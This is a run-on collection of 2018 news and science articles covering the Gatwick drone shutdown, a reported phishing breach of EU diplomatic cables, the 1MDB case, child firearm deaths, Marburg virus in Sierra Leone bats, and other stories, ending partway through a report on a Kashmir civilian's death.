significant adj. important impact n. a powerful or major influence or effect We want to hear from you. Write to us in the Comments Section, and visit our Facebook page. British troops may be sent in to help hunt drones that have shut down Gatwick Airport. Police have been searching the area around the airport for operators of drones spotted over the airport on Wednesday evening (today, Macau time). Britains second-busiest airport remains shut more than 18 hours later, and more than 100,000 travelers have been disrupted. European air-navigation agency Eurocontrol says the airport is not due to reopen until at least 8 p.m. (2000GMT, 3 p.m. EST) on Thursday. The Ministry of Defense says there are ongoing discussions with the police about any military capability that could be provided to assist with their operation. Flights from the Hong Kong airport to London Gatwick have been postponed until further notice. Heres the latest information on London airport closure because of drones (all times GMT): ___ 3:20 p.m. A body that represents British air traffic controllers says regulators have repeatedly ignored its calls for tougher measures against drones near aircraft. The Guild of Air Traffic Control Officers says it has urged geofencing the use of software to stop drones flying into restricted airspace and other counter-drone measures, but its calls have been repeatedly dismissed by regulatory bodies. The guild says the disruption at Gatwick Airport on Thursday is unprecedented, but such an event will continue to be a threat until appropriate measures are taken. Hundreds of flights have been canceled and more than 100,000 travelers disrupted at the U.K.s second-busiest airport since drones were spotted over the airfield on Wednesday evening. Police are scouring the area for the drone operators. ___ 2:45 p.m. British Prime Minister Theresa May says the government is considering further police powers to deal with the threat from drones to aircraft. Tens of thousands of passengers have been disrupted in a shutdown of Londons Gatwick Airport because drones were spotted over the airfield. Police are searching for the drone operators. May says using a drone to endanger aircraft is a crime punishable by up to five years in prison. She says we are consulting on further aspects of legal enforcement, including further police powers. May told reporters that I feel for all those passengers whose travel plans have been disrupted. She said the disruption is particularly difficult for people as it comes during the holiday season. ___ 2:35 p.m. Londons Gatwick Airport says it expects disruption caused by drones to continue throughout Thursday and into Friday. Flights at the major airport south of central London have been suspended since Wednesday night when two drones were reported above the airfield. The airport statement says its runway remains unavailable because of the drones. It says all airlines have been advised to cancel flights up to at least 1600 GMT (11 a.m. EST). It says anyone planning to fly Thursday or Friday should check with their airline before going to the airport. The airport says it is working with airlines on plans to handle the many cancellations and delays once the runway is opened. ___ 10:45 a.m. British police say they believe the flying of drones over Gatwick Airport is a deliberate act, but there are no signs it is related to terrorism. Flights in and out of Britains second-busiest airport have been suspended since Wednesday evening, disrupting the journeys of tens of thousands of passengers. Supt. Justin Burtenshaw, the airport police commander, said: We believe this to be a deliberate act to disrupt the airport. However, there are absolutely no indications to suggest this is terror-related. Police say the first report of a drone over the airfield was made shortly after 9 p.m. (2100GMT) Wednesday and the last sighting around 8.45am on Thursday. Police from two forces, backed by a helicopter, are scouring he area around the airport south of London for the drone operators. ___ 7:25 a.m. Londons Gatwick Airport remains shut while police and airport officials investigate reports that drones were flying in the area of the airfield. Passengers traveling Thursday were advised to check the status of their flights before heading to the airport. Gatwick first closed Wednesday night at around 9 p.m. (2100 GMT) when drones were sighted. It reopened at around 3 a.m. (0300 GMT) Thursday morning but shut down again in 45 minutes when drones were spotted. Many incoming flights have been diverted to other destinations in Britain and continental Europe. The disruption is having a ripple effect on air travel as cancellations mount. The drone sighting came near the height of the busy Christmas travel season. Gatwick is a busy airport 27 miles (43 kilometers) south of central London. MDT/AP The European Union is investigating a potential leak of sensitive information following a report that hackers breached the blocs diplomatic communications network. Using techniques similar to those used by an elite unit of Chinas Peoples Liberation Army, hackers downloaded cables over a period of three years, according to the report by the New York Times published yesterday [Macau time]. In response, a spokeswoman for the European Council said yesterday they were aware of the allegations and actively investigating the issue. The alleged attack was discovered by U.S.-based cybersecurity firm Area 1 Security, and included thousands of cables that reveal concerns about Donald Trumps administration, struggles dealing with Russia and China and Irans nuclear risks. In one cable, European diplomats described a July meeting between U.S. President Trump and Russian President Vladimir Putin as successful [at least for Putin], the New York Times reported. In another, a detailed report quoted Chinas President Xi Jinping in a meeting with European officials the same month as accusing Trump of bullying Beijing. The news comes as relations between Washington and Brussels remain tense over trade, but are aligning over concerns over possible espionage by China, enabled by telecoms equipment companies like Huawei Technologies Co. Ltd. The hackers discovered by Area 1 allegedly breached the EUs system through a phishing campaign directed at diplomats in Cyprus, after which they obtained access to passwords for the EUs database of exchanges, the NYT said. A spokeswoman for Cyprus in Brussels didnt immediately respond to a request for comment. The Council Secretariat does not comment on allegations nor on matters relating to operational security, a European Council spokeswoman said in her statement. Bloomberg An eastern Chinese city announced rule changes making it easier for people to sell homes, a move local media has called the first easing of such housing curbs nationwide in more than two years. Heze, a city of about 9 million, in 2017 began requiring individuals to own their homes for at least two years before putting them on the market. That restriction has now been withdrawn, according to a statement from the local housing and rural-urban development bureau. Local financial daily China Securities Journal cited a real-estate analyst who described Heze as the first city to loosen housing sales curbs. Some investors have begun to bet that Chinas leaders could turn to property easing measures to soften the blow from a burgeoning trade war on an already slowing economy. An index of property firms listed in Shanghai rose as much as 1.3 percent yesterday, the most in a week. Developers traded in Hong Kong also advanced, with China Resources Land Ltd. climbing as much as 3.4 percent and China Overseas Land & Investment Ltd. up as much as 1.9 percent. The sales restriction had affected the market, said Fan Guifang, a saleswoman at Hua Yang Fang Chan, a property agent with dozens of stores in Heze. We only have two or three deals a day. Scrapping this rule means we can probably increase transaction volumes because more people will be allowed to buy and sell. Hezes property regulator yesterday said the home-curb easing was designed to prevent price fluctuations. China Securities Journal said in a commentary piece that its too early to interpret the policy tweak as a sign of an all-round property loosening. New-home prices rose an average 0.98 percent in November from October when they increased 1.02 percent in the 70 cities tracked by the government, according to Bloomberg calculations based on data released by the National Bureau of Statistics Saturday. Many developers registered slower sales growth last month despite offering steeper buyer discounts. Theres an expectation among market watchers that the government will relax property curbs due to the current lackluster economic conditions, according to Steve Wong, an analyst at Essence International Financial Holdings Ltd. Some first- and second-tier cities are expected to loosen property controls next year, which will benefit developers with a high exposure to these cities, he said. Currently, any positive news on property sector is a boost for investor sentiment. Authorities in Heze put the curbs in place after property prices surged, in part due to a government program that pumped 3.2 trillion yuan (USD463 billion) into the economy to replace slums with shiny new tower blocks. There was a similar easing of policy in Lanzhou, the provincial capital of Gansu, in January. The city in Chinas northwest scrapped home-buying limits in three districts on the outskirts to make purchases by non-local residents easier. The policy change in Heze could be the first of many local loosenings in the property market this year, said Yan Yuejin, a Shanghai-based property analyst at China Real Estate Information Corp. More cities will likely follow suit. Bloomberg Whenever Brittany Hawley went to class, her loyal service dog Griffin was there. If she needed her cell phone, Griffin would fetch it. Even when she assisted patients as part of an internship, Griffin was there helping out as well. So its only fitting that when Hawley was honored for receiving her masters degree in occupational therapy from Clarkson University over the weekend, Griffin was once again at her side with an honorary diploma of his own. I pushed for him to graduate from Day One, Hawley said this week. He did everything I did. The board of trustees of the Potsdam, New York, school honored the 4-year-old golden retriever at a recognition ceremony Saturday, saying he demonstrated extraordinary effort, steadfast commitment and diligent dedication to the well-being and student success of Hawley. Hawley, 25, of Wilson, North Carolina, uses a wheelchair and has chronic pain. She said Griffin does a wide range of physical tasks for her including opening doors, turning on lights and bringing her items she indicates with a laser pointer. But perhaps more important is the comfort the dog provides amid her relentless, severe pain that causes anxiety and depression. Hawley got Griffin through paws4prisons, a program that teaches inmates at West Virginia prisons to train and place high-level assistance dogs. The inmates allow many dogs to come up to you and let the dog choose you, Hawley said. Some dogs were scared of the wheelchair. Griffin jumped right into my lap and licked me across the face. Singapore regulators placed a lifetime ban yesterday on a former Goldman Sachs banker who faces criminal charges in the United States and Malaysia for ransacking the 1MDB state investment fund. The Monetary Authority of Singapore, or MAS, said it decided to lengthen its 10-year ban against Tim Leissner after he pleaded guilty to charges levied by the Justice Department in November. Leissner admitted to money laundering conspiracy and conspiring to violate foreign bribery laws in connection with 1Malaysia Development Berhad. The U.S. DOJs charges and Mr. Leissners guilty plea have provided further evidence of Mr. Leissners involvement in fund flows related to 1MDB, which were previously not available to MAS, the authority said. The latest actions against Mr. Leissner arose from the close cooperation and continuing investigations by law enforcement and regulatory authorities in the U.S., Singapore and other countries, it added. The ban covers banking and business functions and the managing of capital markets services firms. It also prevents Leissner from being a director, substantial shareholder, capital markets services licensee or exempt person for Singapore businesses dealing with securities, futures and funds management. Leissner, who led Goldman Sachs Singapore branch, managed three 1MDB bond issuances from 2012 to 2013. MAS said he issued an unauthorized reference letter to a financial institution in Luxembourg, and falsely claimed the bank had conducted due diligence on fugitive Malaysian financier Low Taek Jho, also known as Jho Low. Low, the named mastermind of a scheme that pilfered billions of dollars from the state-owned fund, remains at large. He allegedly used the money for bribes and kickbacks to foreign officials, to pay for luxury real estate, art and jewelry and to help finance Hollywood movies including The Wolf of Wall Street. U.S. and Malaysian authorities have charged Low in absentia, Leissner and another former Goldman Sachs executive, Roger Ng Chong Hwa. Singapore, which commenced 1MDB investigations in 2015, has shuttered two Swiss banks and fined others, including DBS Bank, UBS and Standard Chartered Bank for 1MDB-related lapses. It has jailed, fined and imposed bans on several executives. In October, a Singapore court ordered the return of 15.3 million Singapore dollars (USD11.1 million) linked to the indebted fund. I think that the fines so far from Singapore have been relatively minimal, focused on a few facilitators rather than instigators, and have yet to go to the real serious issues of money laundering and kleptocracy, said Bridget Welsh, an associate political science professor at the John Cabot University in Rome. We will only get a better sense of the facets of 1MDB when the trials start. Exposure of the problem opens Singapore to greater scrutiny, she said. Annabelle Liang, Singapore, AP Jordans foreign affairs minister says his country is seeking closer ties with Greece and Cyprus as part of a strategy to bolster regional peace and security and promote economic cooperation. Ayman Safadi says Jordans King Abdullah is keen on expanding this partnership in every possible direction. Safadi was speaking yesterday after talks with his Cypriot counterpart and Greeces deputy foreign minister to prepare for a meeting of the three countries leaders early next year. This partnership follows similar three-way collaborations that Cyprus and Greece have recently built with Israel and Egypt. Cyprus Foreign Minister Nicos Christodoulides said Cyprus and Greece will continue to advocate for tighter relations between the European Union and Jordan which he called a vital EU partner. Canadas foreign service confirmed that a third national was being held in China, the National Post newspaper reported, citing a statement from Global Affairs Canada. An agency spokesperson provided no further details, and drew no link between the case and those of two other Canadians detained last week in China, the National Post said. The Canadian Embassy in Beijing referred questions of the third case to public relations staff in Ottawa, who didnt immediately respond to a request for comment yesterday. The report will likely fuel anxiety among Canadians traveling in China after the countrys spy agency detained a former diplomat and a man who helped organize tourist trips to North Korea. The cases follow Canadas Dec. 1 arrest of Huawei Technologies Co. Chief Financial Officer Meng Wanzhou as part of a U.S.-led extradition bid, although Beijing has deflected questions about any link between the detentions and the Chinese executives case. Chinese Foreign Ministry spokeswoman Hua Chunying told a regular briefing in Beijing yesterday that she wasnt aware of the report of a third detained Canadian. A faxed request for comment sent to the Ministry of Public Security wasnt immediately answered. The moves have prompted people on both sides to reconsider travel to each others countries. The national Canadian body that markets the country as a tourist destination is halting new advertisements in China, CBC News reported. Bloomberg The Spanish Prime Minister, Admiral Luis Carrero Blanco, has been killed in a car bomb attack in Madrid. The 70-year-old, his bodyguard and a driver died instantly and four other people were injured after a remote-controlled bomb was detonated as he passed. A massive explosion sent the car hurtling into the air and over the roof of the San Francisco de Borga Church where Mr Blanco had just been attending mass. The vehicle landed on the second floor terrace of a building on the other side of the church and a great deal of damage was caused in the area. No one has admitted carrying out the attack. The Spanish Government has declared three days of national mourning and the cabinet has held two emergency meetings. All public buildings are closed but it is not known if a state of emergency will be declared. Police did not confirm the prime minister had been assassinated until six hours after the attack. They said the killers had dug a tunnel under the street the admiral used regularly on his return from mass. Police said the killers triggered the bomb from an opposite basement in a well-planned assassination bid. The prime ministers death came 15 minutes before the start of a trial involving 10 of Spains leading opponents of the Franco regime, one of them a Roman Catholic priest. They were arrested in a Madrid Church 18 months ago and were accused of unlawful assembly. Thousands of angry demonstrators have campaigned against the case and have already clashed with police. Commentators said the admirals death must be seen in the context of this controversial trial and against the backdrop of his staunch support of General Francos regime. Not since the Civil War, which ended in 1939, has a government minister died in such violent circumstances. The former naval officer, who was considered authoritarian and hated Communism, was devoted to the Roman Catholic Church. He has been succeeded by the vice-prime minister Fernandez Miranda, 57. Courtesy BBC News In context Basque nationalists were blamed for the murder in retaliation for the execution of Basque militants in Spain. Luis Carrero Blanco had only been prime minister for about six months when he was assassinated. In June that year Franco had separated the duties of chief of state and head of government and Mr Blanco became prime minister. He had been influential in improving links with monarchist groups, and his appointment as head of state was considered to be part of a process to restore the monarchy under Juan Carlos. Mr Blanco was opposed by many for propping up Francos hard line regime, stifling opposition and for opposing mainstream European political life despite the countrys progress in tourism and trade. The British government is publishing long-awaited plans for a post-Brexit immigration system that will end free movement of European Union citizens to the U.K. Home Secretary Sajid Javid said the proposals to be published yesterday set out a skills-based immigration system built around the talent and expertise people can bring, rather than where they come from. At present, all EU nationals can live and work in Britain under the blocs free-movement rules, but that will end after the U.K. leaves in March. The government is proposing no limit on the number of well-paid, skilled immigrants who can settle in Britain, but curbs on low-skilled workers. Many businesses are warning that a clampdown on less well-paid immigrants will choke off the supply of workers to sectors including hospitality and health care. AP Credit: CC0 Public Domain Imagine you have just flicked a lighter. If you don't see the flame, you will naturally try a second time. If after the second attempt it does not strike a flame, you will repeat your action again and again until it does. Eventually, you'll see the flame and you'll know that your lighter works. But what if it doesn't? How long are you going to flick the lighter until you decide to give up? Our everyday life is full of such decision dilemmas and uncertainty. We constantly have to choose between options, whether we make the most ordinary decisions should I continue flicking this lighter? or life-changing choices should I leave this relationship? We can either keep on doing what we are already used to do, or risk unexplored options that could turn out much more valuable. Some people are naturally inclined to take more chances, while others prefer to hold on to what they know best. Yet being curious and explorative is fundamental for humans and animals to find out how best to harvest resources such as water, food or money. While looking at the Belem Tower a symbol of Portugal's great maritime discoveries from my office window, I often wonder what drives people to explore the unknown and what goes on in their brains when weighing pros and cons for trying something new. To answer these questions, together with Dr. Zachary Mainen and his team of neuroscientists, we investigate how the brain deals with uncertainty when making decisions. From decision to action Although the decisions we make greatly affect our everyday life, how we deliberate and commit is a complex process that we only partially understand. This topic has been largely studied from ethological and theoretical perspectives (Cisek and Kalaska, 2010) and neuroscientists are beginning to uncover several brain areas that contribute to solving dilemmas and act upon them (Gold and Shadlen, 2007). Yet, we are still far from being able to comprehend the sinuous path from decision to action, because even the most mundane decisions involve many brain areas and cooperative interactions between many cells (Montague, 2008). Take the example of the lighter. To decide whether to continue flicking, you must first gather information: is there a flame or not? This will activate the regions inside your brain that are responsible for processing sensory information such as sight or touch. Then, you may be satisfied if you see the flame, or surprised if you don't. This is because such sensory information is communicated to your reward system. In turn, the reward circuitry, which releases the molecule dopamine, will help motivate the choice of your next action (Dayan and Niv, 2008). So, what should you do next? Well, if you see the flame, you can just continue pressing the button to keep it burning. But in the absence of a flame, you may start wondering whether the motion of your finger on the sparkwheel was decisive enough, or whether the lighter ran out of gas. The frontal areas of the brain, which are thought to control cognitive skills such as judgement and problem solving, may help you take into account this uncertainty. If you believe that the lighter still contains gas, you will flick one more time. Once again, this is your frontal cortex that will control the selection of such a voluntary action (Miller, 2000). Finally, you have to decide how much time you are willing to spend flicking the lighter. This will likely depend on whether you have another one handy. How stubborn you are may be regulated by serotonin, a neuromodulator that has been linked to patience (Fonseca et al., 2015) and persistence (Lottem et al. 2018) even when facing uncertain rewards. Reconstructing the neural puzzle At Champalimaud Centre for the Unknown in Lisbon, we have developed a simple task that re-creates the lighter-flicking experience. Here, mice naturally forage for water but drops are delivered sparsely and sometimes, at random, the water resource becomes depleted. This is just like a capricious lighter that produces flames inconsistently, until the reserve of gas suddenly runs low. In our experiment, we carefully monitor the behaviour of the mice during this task to understand how persistent they are in searching for water, and when they give up to explore somewhere else. Using computational models, we can explain the main aspects of this decision-making process. According to Pietro Vertechi, my colleague who developed the model: "By translating a difficult decision process (e.g. 'After how many failures should I give up and change strategy?') in a naturalistic setting (foraging for food or water), we can study cognition in parallel in mice and humans. Just like in the equivalent naturalistic scenario, the animal receives many different stimuli (from the colour of the box to the smell of the experimenter or the taste of the water), most of which are irrelevant to solving the task. Mathematical modelling tells us what are the important variables that the subject should be tracking (such as the number of consecutive failed attempts). We can then test what brain regions encode that information and how." Thus, to reconstruct piece by piece the neural puzzle of decision, we search for these interactive mechanisms in the mouse brain. To scrutinize the activity of different areas of the nervous system and uncover their role as decision-maker, we use state-of-the-art technologies. For instance, a recent technique called fibre photometry, allows us to detect very small signals in the reward system, such as dopamine release, while mice sample the water rewards. Likewise, to listen at the conversation between neurons in multiple frontal areas, we use a novel technology that records the electrical activity of hundreds of neurons simultaneously while animals perform the task. Because this approach offers a fine spatiotemporal resolution, it has the potential to help us track how information travels within the brain while the decision is formed. Finally, genetically encoded optical switches, which are light-sensitive proteins called opsins, are used to remote-control neural activity using light flashes. This powerful tool allows us to directly control selected groups of cells, such as the neurons that release serotonin, and probe their effects on the behaviour. This could tell us why some animals hesitate while other jump to action. Beyond the laboratory A better view on the neural mechanisms that govern our choices could reveal what causes a person to persist in doing something regardless of the risk. Such propensity can lead to cognitive dysfunctions linked to addiction and other compulsive disorders. Thus, understanding the neural processes that control behavioural adaptations could have immense implications for society. On the other hand, lack of persistence in the face of adversity is one of the trademarks of depressive disorders. Interestingly, although serotonin is the main target of antidepressant drugs, its exact function remains enigmatic. By testing the mechanistic role of this molecule on the modulation of decisions and voluntary actions, we hope to uncover a new fundamental role for this molecule that could potentially lead to innovative therapeutic strategies. Although our work is far from a complete picture, it is paving the way, one stone at a time, to unravel one of neuroscience's greatest mystery. The scientific answers that we are gaining about self-initiated actions and decisions may also contribute to philosophical debates such as the question of "free will" (Rigato et al, 2014): Who is the decision-maker? Your brain? Explore further How you move shows how you make up your mind This article is republished from The Conversation under a Creative Commons license. Read the original article. A one-year total, and ten-year trend arrow, for each of the four top causes of death for children and teens ages 1 to 19 in the U.S. Findings based on CDC WONDER data. Credit: University of Michigan America lost 20,360 children and teens in 201660 percent of them to preventable injuries, a new study shows. More than 4,000 of them died in motor vehicle crashes, though prevention efforts and better trauma care have cut the death rate of young people from such crashes in half in less than two decades. Meanwhile, firearmsthe number two cause of death in youthclaimed the lives of more than 3,140 children and teens in 2016, according to the new findings from a University of Michigan team. That's about eight children a day, according to their special report in the New England Journal of Medicine. Unlike vehicle crashes, the rate of firearm-related death for those aged 1 to 19 years has stayed around the same for nearly the past two decades, the new analysis shows. That rate is more than 36 times as high as the average rate across 12 other high-income countries. The new study, by members of the U-M Injury Prevention Center, was done using publicly available data from the U.S. Centers for Disease Control and Prevention's WONDER database of information from death certificates. It's the first time all causes of child and adolescent death have been tallied by both mechanism and intent, and that rates of these causes of death over time have been calculated for all the top causes. Cancer, which accounted for 1,853 deaths of those age 1 to 19, comes in third place, and its death rate has dropped since the start of the study period. Suffocationmainly suicides by hanging and other meanswas fourth, and is on the rise. Those causes are followed by drowning, drug overdoses/poisonings and birth defects, each with just under 1,000 deaths and steady decreases in death rates over the last 17 years. Lead author Rebecca Cunningham, M.D., director of the U-M center and an emergency medicine physician at Michigan Medicine, U-M's academic medical center, notes that firearm-related deaths occur at about the same rate in urban, rural and suburban settings. "Firearm deaths of children and adolescents are an 'everybody' problem, not a problem for just certain population," says Cunningham, a professor in the U-M Department of Emergency Medicine. "Homicides account for 60 percent of those deaths, suicide about 35 percent, unintentional or accidental injuries about one percent and mass shootings slightly less than one percent." She adds, "By using a data-driven approach to studying these deaths, I hope we can guide the U.S. to apply our resources to help us understand what we can do to prevent these deaths across the country." More about firearm deaths Ever since 1999, the researchers show, about 4 of every 100,000 American children and adolescents have died by a gun-related homicide, suicide or unintended shooting each year. Firearm deaths affect all areas of America, the study shows. Urban adolescents are twice as likely to die in homicides as rural youth, while rural teens have a rate of suicides that's twice as high as the rate for urban youth. Suburban teens who die of firearm-related causes do so of suicide and homicide at roughly equal rates. For children between the ages of 1 and 9 years, unintentional injuries were the leading cause of firearm death. Boys had firearm death rates five times that of girls, and African-American young people had a firearm death rate nearly three times that of white children and teens. Other causes, and a call for action Co-author Maureen Walton, MPH, Ph.D., associate director of the Injury Prevention Center and professor in the U-M Department of Psychiatry, notes that drug poisoning and overdose have risen to be the sixth leading cause of death for young people. This is largely due to increases in opioid overdoses, which the study shows account for over half of drug overdoses among adolescents, says Walton, who is the associate director of child research at the U-M Addiction Center. Motor vehicle crashes kill nearly three times as many children and teens per 100,000 in rural areas, compared with in urban and near-urban areaseven when the researchers adjusted the data to account for the extra miles traveled each year by drivers in rural areas. "Our country has spent billions to decrease car crash injuries and deaths for kids and adults, and has made it a leading priority for several federal agencies. Safety in a crash is now a selling point for cars," says Cunningham. This implementation of 'prevention science' has resulted in the steady decrease in motor vehicle crash deaths for children and teens over the past 20 years. "At the same time, we have dozens of teams of scientists and clinicians working on prevention and treatment of pediatric cancers, congenital conditions and heart diseases," conditions where death rates have also fallen," she adds. "We hope these data help put firearm deaths of young people in the proper context, so we can study and test potential preventive measures while respecting the Second Amendment rights of gun owners." Some of the efforts to reduce firearm deaths among children and teens could be led by physicians, she adds. She recalls learning about the early warning signs and diagnostic steps for childhood cancers such as leukemia, and for other serious childhood ailments, during her residency training. But today's medical students and residents get little or no training about how to ask parents if guns are present, and stored safely and securely, in their homes. U-M firearm injury prevention researcher and emergency physician Patrick Carter, M.D., assistant director of the Injury Prevention Center, co-authored the study. "Firearm risk to children and adolescents, whether from unintentional or intentional use of a gun, is a serious medical issue that all of us in the profession can help address," he says. "The results from this study certainly have inspired me as a physician to know that we need to be doing better. We hope that these findings will also encourage other physicians to know that this is indeed their 'lane' to be working in, to be preventing firearm related injury and death." Explore further Tough laws prevent gun deaths Scientists have discovered Marburg virus in fruit bats in Sierra Leone. This is the first time the deadly virus has been found in West Africa. Five Egyptian rousette fruit bats tested positive for active Marburg virus infection. Scientists caught the bats separately in three health districts: Moyamba, Koinadugu and Kono. The virus was found in advance of any reported cases of illness in people in Sierra Leone, and there remain no reported cases of Marburg in humans there. However, the virus's presence in bats means people who live nearby could be at risk for becoming infected with Marburg virus, a cousin to Ebola virus that causes similar disease in people. The Marburg virus co-discovery occurred through two projectsone by the USAID-funded PREDICT project led by University of California, Davis, and the University of Makeni; and another by Centers for Disease Control and Prevention and Njala University. "That the discovery was made in bats before the recognition of any known human illnesses or deaths is exactly what PREDICT's One Health approach to disease surveillance and capacity building are designed to do," said Brian Bird from the UC Davis One Health Institute and global lead for Sierra Leone and Multi-Country Ebola operations for PREDICT-USAID. Natural reservoir Scientists had previously shown that the Egyptian rousette bat (Rousettus aegyptiacus) is the natural reservoir for Marburg virus, which means the bats can carry the virus long-term and pass it on to animals or humans without getting sick themselves. Sequencing of virus genetic material from the five Marburg-positive bats found multiple genetically diverse strains, suggesting Marburg virus has been present in these bat colonies in Sierra Leone for many years. "We have known for a long time that the bats that carry Marburg virus live in West Africa, so it makes sense that we'd find the virus in bats there," said CDC ecologist Jonathan Towner, who led the CDC team. "This discovery is an excellent example of how this type of ecology work can help us identify a threat and warn people before they get sick." Egyptian fruit bats live in caves or underground mines throughout much of Africa. Marburg virus has been detected in Egyptian rousette bats caught in sub-Saharan Africa, primarily in Uganda and the Democratic Republic of Congo, but also Gabon, Kenya and South Africa. In eastern and central Africa, these bats can roost in colonies of more than 100,000 animals. However, the colonies of Egyptian fruit bats identified in Sierra Leone so far have been much smaller, which may explain why there haven't been any known Marburg virus disease outbreaks in people in Sierra Leone like those found in eastern and central Africa. Angolan strains detected in bats for first time To date, there have been 12 known Marburg virus outbreaks with direct links to Africa, with the most recent in Uganda in 2017. The largest and deadliest Marburg virus outbreak occurred in Angola in 2005. It killed 227 of 252 cases, or about 90 percent of those infected. Two of the four strains identified among the five Marburg-positive bats in Sierra Leone are genetically similar to the strain that caused the outbreak in Angola. It is the first time scientists have detected these Angolan strains in bats. Egyptian rousette bats primarily feed on fruit. When infected, the bats shed the virus in their saliva, urine and feces. These Egyptian rousette bats are known to test-bite fruits, urinate and defecate where they eat, potentially contaminating fruit or other food sources consumed by other animals like monkeys or people, particularly children. Due to their significant size, these types of bats sometimes serve as a food source for local populations, as well. People may be exposed to Marburg virus through bat bites as they catch the bats. Community engagement In Sierra Leone, researchers and government officials are in the process of meeting with local communities to present their findings, answer questions about Marburg virus, and address how to reduce people's risk of exposure and live safely with bats. Bats play important ecological and agricultural roles. Fruit bats pollinate important crops, and insect-eating bats eat thousands of insects each night, including mosquitoes, which helps control pests that transmit disease and damage crops. Scientists emphasize that people should not attempt to kill or eradicate bats in response to the discovery. Killing and coming into direct contact with bats can actually increase the risk of virus transmission, not halt it. Finding viruses before they find us The PREDICT team at UC Davis/University of Makeni and the team led by CDC/Njala both began work in Sierra Leone in 2016 following the massive Ebola outbreak in West Africa. They each sought to discover the Ebola reservoir, the animal that helps maintain the virus in nature by spreading it without getting sick. The Marburg discovery and the PREDICT-team's report earlier this year of the discovery of a new ebolavirus species, Bombali virus, illustrate the strengths and mission of USAID's PREDICT project, which is to find viruses before they spill over into humans and become epidemics. Explore further Ebola species found in bats ahead of any potential outbreak Researchers at the University of Helsinki and Folkhalsan Research Center have, together with their collaborators, demonstrated in a mouse model that the partial restoration of respiratory chain function in mitochondria, which serve as cellular power plants, may be sufficient to prevent all symptoms of a severe mitochondrial disorder. The model employed in the study was based on the cross-breeding of two mouse strains: one developed by Professor Vineta Fellman's research group, carrying the human GRACILE syndrome patient mutation, and mice expressing alternative oxidase (AOX), which was provided by Professor Howard Jacobs and Dr. Marten Szibor. GRACILE syndrome is a currently untreatable mitochondrial disease belonging to the Finnish disease heritage. Mammals do not normally have the AOX gene, but since mitochondria are so similar in all organisms, it maintains its function even after being transferred from a sea squirt (Ciona intestinalis) to mice. AOX is a mitochondrial enzyme that has the ability to improve electron flow in the respiratory chain when a part of the chain, complex III in this case, becomes dysfunctional due to a disease-causing mutation. In the study, the research group headed by Professor Fellman and Docent Jukka Kallijarvi found that mice carrying the AOX transgene did not develop fatal cardiac disease. Subsequently, the mice lived three times longer than the control group. Furthermore, AOX improved their kidney disease and brain cell changes. "The AOX transgene extended the lifespan of the mice dramatically by enhancing respiration in the tissues that require the most energy, such as the heart. Of course, such a transgene cannot be used to treat humans, but our remarkable findings encourage further investigations in this and other mouse models for mitochondrial diseases. An interesting experiment would be, for example, to use a virus to express AOX in the sick tissues," Kallijarvi notes. Mitochondrial diseases and GRACILE syndrome Mitochondrial diseases are inherited disorders of energy metabolism. They can manifest at almost any age and in any tissue of the body. Modern molecular genetics often allow correct diagnosis at an early stage, but treatment options remain scarce. Diseases caused by a mutation affecting the third complex of the mitochondrial respiratory chain are extremely rare. One of these, GRACILE syndrome, does, however, occur specifically in Finland, which makes it part of what is known as the Finnish disease heritage. Neonatologist Vineta Fellman described this serious neonatal disease in 1998, and in collaboration with the late Professor Leena Palotie, published the underlying mutation in 2002. About a decade ago, Professor Fellman's group generated a mouse model carrying the human patient mutation to conduct further studies of this disease. "This has proven to be an exceptionally good experimental model, as the multiorgan disease of the mice is very similar to that in human patients: retarded growth, defective energy metabolism, and liver disease and kidney disease," Jukka Kallijarvi explains. Explore further Mitochondrial diseases could be treated with gene therapy, study suggests More information: Jayasimman Rajendran et al. Alternative oxidasemediated respiration prevents lethal mitochondrial cardiomyopathy, EMBO Molecular Medicine (2018). Journal information: EMBO Molecular Medicine Jayasimman Rajendran et al. Alternative oxidasemediated respiration prevents lethal mitochondrial cardiomyopathy,(2018). DOI: 10.15252/emmm.201809456 An illustration of Enterivirus 71. Credit: Kateryna Kon/Shutterstock Small RNA molecules in saliva could be used to detect the virus that causes hand, foot and mouth disease, enabling early intervention to limit spread of the infection. Scientists from Singapore and Taiwan, including researchers at A*STAR's Institute of Molecular and Cell Biology, have been looking into how to detect the viral infection before it spreads. This is particularly important in young children, as the disease is spread via saliva. "In a childcare centre, kids will pick up a toy, put it in their mouth, other kids will pick up the same toy, and that's how the whole class can come down with the infection," says Justin Jang Hann Chu, from the A*STAR Institute of Molecular and Cell Biology. Hand, foot and mouth disease infects millions of children every year in Western Pacific regions, causing tiny blisters on the palms, soles of the feet and inside the mouth. In most cases, the infectionwhich in this region is caused by the human enterovirus species Aresolves itself, but "there is the chance that hand, foot and mouth disease can turn quite nasty if early supportive treatment is not given," Chu says. A small number of children can also develop more severe and potentially fatal neurological or heart symptoms. In this study, the scientists analyzed the saliva of 59 children from Singapore and Taiwan with the infection and compared them with saliva samples from healthy children, looking for differences in small molecules of RNA called microRNAs. From a total of 179 microRNA molecules, they found six microRNAs whose levels were significantly increased by the presence of the virus. The researchers then tested this panel of six microRNAs to see how effective it was at detecting the viral infection, and found it had an accuracy of 92.86 per cent in distinguishing between children with the infection and healthy children. The next step is to test the saliva screen in a larger group of children from a wider range of countries. Chu hopes the research could lead to development of a simple and cheap test kit that could be used at home or in childcare centers to detect infections early and keep the infected children quarantined from their playmates. They are also investigating whether the microRNA profile could help identify children more likely to experience more severe disease, and provide them with early supportive treatment. More information: Nyo Min et al. Circulating Salivary miRNA hsa-miR-221 as Clinically Validated Diagnostic Marker for Hand, Foot, and Mouth Disease in Pediatric Patients, EBioMedicine (2018). Journal information: EBioMedicine Nyo Min et al. Circulating Salivary miRNA hsa-miR-221 as Clinically Validated Diagnostic Marker for Hand, Foot, and Mouth Disease in Pediatric Patients,(2018). DOI: 10.1016/j.ebiom.2018.05.006 Since I arrived here, I only saw cordons and fear Srinagar, December 19 : It was love at first site. Abid Hussain, 35, travelled to Indonesia in 2016 after completing his Masters in Business Administration (MBA) in a bid to get a job in a private company and his luck favoured him. Abid got a job in a private company in Jakarta, Indonesia and on the first day he saw a girl and at the very first gaze, he fell in love with her. Both started dating each other. Abid suggested the girl to change her name as it was a bit difficult to pronounce. She agreed to be named as Saima. Abid and Saima married in 2017. In September 2018, the duo gave birth to a female baby. On Abids request, Saima agreed to travel to Pulwama district in first week of December where she met her mother-in-law, father-in-law and other family members of her husband. She faced problems as she couldnt understand Kashmiri language as she could in my speak English. Abid and his sister used to talk to Saima in English and she steadily started mingling with her in laws and other women in Sirnoo area of Pulwama district. But everything changed with the staccato sounds of the bullets during an encounter between forces and three holed up militants on December 15. Not just the three militants were killed but seven civilians also including Abid. I had asked my husband to get milk for our baby from the market. 